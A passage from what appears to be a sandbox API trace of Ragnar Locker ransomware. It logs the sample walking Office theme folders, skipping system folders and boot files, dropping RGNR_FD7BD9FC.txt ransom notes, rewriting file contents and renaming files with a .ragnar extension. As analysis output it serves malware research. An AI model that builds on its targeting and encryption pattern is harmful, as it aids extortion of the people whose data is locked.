Shared\\THEMES14\\ICE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.658] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.658] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.658] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0073.658] lstrcmpiW (lpString1="INDUST", lpString2=".") returned 1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="..") returned 1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="Windows") returned -1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="Windows.old") returned -1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="Tor browser") returned -1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="Internet Explorer") returned -1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="Google") returned 1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="Opera") returned -1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="Opera Software") returned -1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="Mozilla") returned -1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="Mozilla Firefox") returned -1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="$Recycle.Bin") returned 1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="ProgramData") returned -1 [0073.659] lstrcmpiW (lpString1="INDUST", lpString2="All Users") returned 1 [0073.659] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0073.659] lstrcpyW (in: lpString1=0x1eb638, lpString2="INDUST" | out: lpString1="INDUST") returned="INDUST" [0073.659] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\" [0073.659] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\" [0073.659] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\RGNR_FD7BD9FC.txt" [0073.659] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0073.977] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*" [0073.977] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0073.977] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.978] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0073.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e452ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e452ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.978] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0073.978] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e452ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e452ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.978] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0073.978] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0073.978] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0073.978] lstrcmpiW (lpString1="INDUST.ELM", lpString2=".") returned 1 [0073.978] lstrcmpiW (lpString1="INDUST.ELM", lpString2="..") returned 1 [0073.978] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0073.978] lstrcmpiW (lpString1="INDUST.INF", lpString2=".") returned 1 [0073.978] lstrcmpiW (lpString1="INDUST.INF", lpString2="..") returned 1 [0073.978] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0073.978] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0073.978] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0073.978] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e452ce0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e452ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0073.978] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0073.978] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0073.978] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0073.978] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0073.979] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0073.979] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0073.979] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0073.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e452ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e452ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0073.986] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7e452ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7e452ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.991] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0073.997] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0073.999] lstrcpyW (in: lpString1=0x1eab6e, lpString2="INDUST.ELM" | out: lpString1="INDUST.ELM") returned="INDUST.ELM" [0074.000] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned=".ELM" [0074.004] lstrcmpiW (lpString1="INDUST.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.005] lstrcmpiW (lpString1="INDUST.ELM", lpString2="autorun.inf") returned 1 [0074.006] lstrcmpiW (lpString1="INDUST.ELM", lpString2="boot.ini") returned 1 [0074.010] lstrcmpiW (lpString1="INDUST.ELM", lpString2="bootfont.bin") returned 1 [0074.012] lstrcmpiW (lpString1="INDUST.ELM", lpString2="bootsect.bak") returned 1 [0074.015] lstrcmpiW (lpString1="INDUST.ELM", lpString2="bootmgr") returned 1 [0074.020] lstrcmpiW (lpString1="INDUST.ELM", lpString2="bootmgr.efi") returned 1 [0074.025] lstrcmpiW (lpString1="INDUST.ELM", lpString2="bootmgfw.efi") returned 1 [0074.129] lstrcmpiW (lpString1="INDUST.ELM", lpString2="desktop.ini") returned 1 [0074.129] lstrcmpiW (lpString1="INDUST.ELM", lpString2="iconcache.db") returned 1 [0074.129] lstrcmpiW (lpString1="INDUST.ELM", lpString2="ntldr") returned -1 [0074.129] lstrcmpiW (lpString1="INDUST.ELM", lpString2="ntuser.dat") returned -1 [0074.129] lstrcmpiW (lpString1="INDUST.ELM", lpString2="ntuser.dat.log") returned -1 [0074.129] lstrcmpiW (lpString1="INDUST.ELM", lpString2="ntuser.ini") returned -1 [0074.129] lstrcmpiW (lpString1="INDUST.ELM", lpString2="thumbs.db") returned -1 [0074.130] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0074.130] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0074.130] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0074.130] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0074.130] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0074.130] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0074.130] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0074.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm")) returned 0x20 [0074.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.130] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=99561) returned 1 [0074.130] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x184e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.130] GetProcessHeap () returned 0x580000 [0074.130] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.130] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.132] VirtualAlloc (lpAddress=0x0, dwSize=0x184e9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.132] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.133] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.133] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x184e9, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x184e9, lpOverlapped=0x0) returned 1 [0074.176] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.176] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x184e9, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.176] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x184e9, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x184e9, lpOverlapped=0x0) returned 1 [0074.177] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x184e9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.177] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.177] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x184e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.177] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.177] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.178] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.178] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.178] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.178] GetProcessHeap () returned 0x580000 [0074.178] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.178] CloseHandle (hObject=0x100) returned 1 [0074.179] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" [0074.179] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.ragnar_FD7BD9FC" [0074.179] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.181] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0074.181] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0074.181] lstrcpyW (in: lpString1=0x1eab6e, lpString2="INDUST.INF" | out: lpString1="INDUST.INF") returned="INDUST.INF" [0074.182] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF") returned=".INF" [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="autorun.inf") returned 1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="boot.ini") returned 1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="bootfont.bin") returned 1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="bootsect.bak") returned 1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="bootmgr") returned 1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="bootmgr.efi") returned 1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="bootmgfw.efi") returned 1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="desktop.ini") returned 1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="iconcache.db") returned 1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="ntldr") returned -1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="ntuser.dat") returned -1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="ntuser.dat.log") returned -1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="ntuser.ini") returned -1 [0074.182] lstrcmpiW (lpString1="INDUST.INF", lpString2="thumbs.db") returned -1 [0074.182] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0074.182] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0074.182] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0074.182] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0074.182] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0074.182] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0074.182] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0074.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf")) returned 0x20 [0074.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.183] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=549) returned 1 [0074.183] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x21c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.183] GetProcessHeap () returned 0x580000 [0074.183] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.183] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.184] VirtualAlloc (lpAddress=0x0, dwSize=0x225, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.184] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.184] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.184] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x225, lpOverlapped=0x0) returned 1 [0074.185] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.185] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x225, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.185] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x225, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x225, lpOverlapped=0x0) returned 1 [0074.185] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x225, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.185] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.185] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.185] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 